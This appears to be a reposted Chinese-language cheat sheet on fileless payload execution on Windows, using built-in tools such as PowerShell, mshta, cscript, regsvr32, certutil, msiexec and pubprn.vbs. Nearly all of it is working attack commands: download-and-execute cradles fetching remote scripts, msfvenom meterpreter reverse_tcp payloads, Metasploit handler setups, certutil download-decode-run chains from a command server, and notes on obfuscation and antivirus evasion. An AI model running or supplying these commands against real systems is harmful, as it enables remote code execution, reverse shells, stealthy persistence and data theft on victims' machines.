windows无exe
加载脚本方式
恶意脚本加载
powershell
mshta.exe
CScript.exe&WScript.exe
Windows原生工具加载
regsvr32.exe
dll
sct
certutil.exe
winrm.vbs
msiexec.exe
wmic.exe
pubprn.vbs

参考

加载脚本方式

利用Windows自带的解析器:PowerShell、VBScript、批处理文件和JavaScript,对应的应用程序分别为powershell.exe、cscript.exe、cmd.exe和mshta.exe。利用上传或远程加载对应payload脚本,直接调用解析器运行(可以使用Invoke-Obfuscation或者 Invoke-DOSfuscation 等进行混淆)
用Windows自带的工具或脚本等原生工具实现执行恶意代码、启动程序、执行脚本、窃取数据、横向扩展、维持访问等,常用的有regsvr32.exe、rundll32.exe、certutil.exe、schtasks.exe、wmic.exe等,脚本类型的有:winrm.vbs、wmiexec.vbs、pubprn.vbs等
恶意脚本加载
powershell
powershell "IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Script.ps1'); Script [argv]"
mshta.exe
msf
use exploit/windows/misc/hta_server
set lhost x.x.x.x
set lport 4444
run
windows执行
mshta http://192.168.164.128:8080/lWdH9aFeeIe.hta
CScript.exe&WScript.exe
上述两个工具都可以解析运行vbs和js的脚本。但值得注意的是WScript是将输出结果以对话框的形式显示,而CScript是以命令行的形式显示输出结果。使用也很简单:cscript %TEMP%\log.vbs 或者 wscript C:\test.js
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.164.128 lport=4444 -f vbs -o 123.vbs
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
run
cscript 123.vbs
Windows原生工具加载
regsvr32.exe
dll
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.164.128 lport=4444 -f dll -o 123.dll
regsvr32 /u /s 123.dll
sct
参考
https://github.com/GreatSCT/GreatSCT
certutil.exe
certuil.exe -urlcache -split -f [URL] outfile.file
certutil.exe -verifyctl -f -split http://www.baidu.com #无法绕过defender
编码
base64 payload.exe > /var/www/html/update.txt
解码执行
certutril -urlcache -split -f http://cc_server/update.txt & certurl -decode update.txt update.exe & update.exe
winrm.vbs
cscript C:\windows\system32\winrm.vbs invoke Create wmicimv2/Win32_Process -SkipCAcheck -SkipCNcheck -file:123.xml
123.xml
calc.exe
C:\
无文件
Winrm invoke Create wmicimv2/Win32_Process @{
CommandLine="calc.exe";CurrentDirectory="C:\"}
msiexec.exe
C:\Windows\System32\msiexec.exe /q /i http://192.168.164.128:8080/123.msi
复现出错
wmic.exe
# 暂无
pubprn.vbs
C:\Windows\System32\Printing_Admin_Scripts
下语言目录下
可以用来解析sct
pubprn.vbs 127.0.0.1 script:http://x.x.x.x/payload1.sct
参考
https://github.com/GreatSCT/GreatSCT
Windows-noFile
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/hz/115594.html